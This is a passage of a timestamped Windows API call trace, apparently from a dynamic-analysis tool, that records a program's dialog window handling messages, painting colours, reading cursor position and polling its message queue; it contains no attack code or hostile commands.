lParam=0x7c0) returned 0x0 [0038.570] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.571] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0038.571] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.571] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.571] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0038.574] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.574] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0038.575] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.576] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0038.576] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.576] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.576] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0038.576] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.576] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x8, wParam=0xa0182, lParam=0x0) returned 0x0 [0038.576] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.576] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x6b0107d3, lParam=0x0) returned 0x1 [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.577] SetBkColor (hdc=0x6b0107d3, color=0xf0f0f0) returned 0xffffff [0038.577] CreateSolidBrush (color=0xf0f0f0) returned 0x421006fd [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x47, wParam=0x0, lParam=0xb6216fbe0) returned 0x0 [0038.577] GetForegroundWindow () returned 0x601e4 [0038.577] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.577] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.577] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0038.578] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.578] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0038.578] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.578] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0038.578] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.578] GetWindowLongW (hWnd=0x601e4, nIndex=-20) returned 256 [0038.578] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x84, wParam=0x0, lParam=0x1fb02fd) returned 0x1 [0038.578] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.578] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.578] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f8f0 | out: lpRect=0xb6216f8f0) returned 1 [0038.578] GetCursorPos (in: lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910*(x=765, y=507)) returned 1 [0038.578] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910) returned 1 [0038.578] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0038.579] SetCursor (hCursor=0x10003) returned 0x10007 [0038.579] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x200, wParam=0x0, lParam=0x18501bc) returned 0x0 [0038.579] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.579] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] BeginPaint (in: hWnd=0x601e4, lpPaint=0xb6216f7e0 | out: lpPaint=0xb6216f7e0) returned 0x6b0107d3 [0038.579] EndPaint (hWnd=0x601e4, lpPaint=0xb6216f7e0) returned 1 [0038.579] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.579] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x200105b1, lParam=0x0) returned 0x1 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.579] SetBkColor (hdc=0x200105b1, color=0xf0f0f0) returned 0xffffff [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x200105b1, lParam=0x4) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.579] SetBkColor (hdc=0x200105b1, color=0xf0f0f0) returned 0xf0f0f0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.579] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.579] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.580] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.580] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.580] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.580] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.580] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.580] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0038.580] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x11010729, lParam=0x0) returned 0x1 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.580] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0x0 [0038.580] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.580] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x11010729, lParam=0x4) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.581] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0038.581] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.581] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0038.581] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.581] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.581] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0038.581] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.583] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.583] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.583] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.583] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.583] GetWindowLongPtrW (hWnd=0xa0020, nIndex=-21) returned 0x5 [0038.583] GetWindowLongPtrW (hWnd=0xa0020, nIndex=-21) returned 0x5 [0038.583] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.583] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.583] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0038.590] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.590] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x6 [0038.590] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x6 [0038.590] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.590] GetWindowLongW (hWnd=0x4011c, nIndex=-16) returned 1342242944 [0038.590] GetSysColor (nIndex=5) returned 0xffffff [0038.590] GetSysColor (nIndex=8) returned 0x0 [0038.590] SetTextColor (hdc=0xe010572, color=0x0) returned 0x0 [0038.590] SetBkColor (hdc=0xe010572, color=0xffffff) returned 0xffffff [0038.590] CreateSolidBrush (color=0xffffff) returned 0x4810055e [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0xffffffffb8010637, lParam=0x0) returned 0x1 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.590] SetBkColor (hdc=0xffffffffb8010637, color=0xf0f0f0) returned 0xffffff [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0xffffffffb8010637, lParam=0x4) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.590] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x6 [0038.590] GetWindowLongPtrW (hWnd=0x4011c, nIndex=-21) returned 0x6 [0038.590] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.590] GetWindowLongW (hWnd=0x4011c, nIndex=-16) returned 1342242944 [0038.590] GetSysColor (nIndex=5) returned 0xffffff [0038.590] GetSysColor (nIndex=8) returned 0x0 [0038.590] SetTextColor (hdc=0xffffffffb9010637, color=0x0) returned 0x0 [0038.590] SetBkColor (hdc=0xffffffffb9010637, color=0xffffff) returned 0xffffff [0038.593] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.593] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0xffffffffba010637, lParam=0x0) returned 0x1 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.593] SetBkColor (hdc=0xffffffffba010637, color=0xf0f0f0) returned 0xffffff [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0xffffffffba010637, lParam=0x4) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.593] SetBkColor (hdc=0xffffffffba010637, color=0xf0f0f0) returned 0xf0f0f0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x701e6, nIndex=-21) returned 0x7 [0038.593] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x7, lParam=0xb6216f3e0) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x701e6, nIndex=-21) returned 0x7 [0038.593] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x7, lParam=0xb6216f3e0) returned 0x0 [0038.593] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.593] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x20, wParam=0xa0182, lParam=0x2000001) returned 0x0 [0038.593] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.593] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f8e0) returned 0x0 [0038.594] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.594] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x1e010802, lParam=0x0) returned 0x1 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.594] SetBkColor (hdc=0x1e010802, color=0xf0f0f0) returned 0xffffff [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x1e010802, lParam=0x4) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.594] SetBkColor (hdc=0x1e010802, color=0xf0f0f0) returned 0xf0f0f0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0xffffffffbb010637, lParam=0x0) returned 0x1 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.594] SetBkColor (hdc=0xffffffffbb010637, color=0xf0f0f0) returned 0xffffff [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0xffffffffbb010637, lParam=0x4) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.594] SetBkColor (hdc=0xffffffffbb010637, color=0xf0f0f0) returned 0xf0f0f0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.594] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.594] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.595] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.595] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.595] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.595] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.595] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.595] GetWindowLongW (hWnd=0x7018a, nIndex=-16) returned 1342179332 [0038.595] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.595] GetSysColor (nIndex=8) returned 0x0 [0038.595] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.595] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x420107c1, lParam=0x0) returned 0x1 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.595] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.595] SetBkColor (hdc=0x420107c1, color=0xf0f0f0) returned 0xffffff [0038.596] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.596] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x420107c1, lParam=0x4) returned 0x0 [0038.596] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.596] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.596] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.596] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.596] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.596] GetWindowLongW (hWnd=0x7018a, nIndex=-16) returned 1342179332 [0038.596] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.596] GetSysColor (nIndex=8) returned 0x0 [0038.596] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.596] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0038.596] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.596] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.596] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.597] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.597] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.597] GetWindowLongW (hWnd=0x7018a, nIndex=-16) returned 1342179332 [0038.597] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.597] GetSysColor (nIndex=8) returned 0x0 [0038.597] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.597] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0038.597] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.597] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.597] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.597] GetWindowLongPtrW (hWnd=0x7018a, nIndex=-21) returned 0x8 [0038.597] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.597] GetWindowLongW (hWnd=0x7018a, nIndex=-16) returned 1342179332 [0038.597] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.597] GetSysColor (nIndex=8) returned 0x0 [0038.597] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.597] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0038.597] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.597] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0038.597] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0038.598] GetForegroundWindow () returned 0x601e4 [0038.598] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.598] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=559, y=545)) returned 1 [0038.598] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0038.598] GetAsyncKeyState (vKey=1) returned 0 [0038.598] GetAsyncKeyState (vKey=2) returned 0 [0038.598] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.598] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.598] CreateAcceleratorTableW (paccel=0xb6233afa0, cAccel=1) returned 0x1701c9 [0038.598] GetForegroundWindow () returned 0x601e4 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] Sleep (dwMilliseconds=0x0) [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.606] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 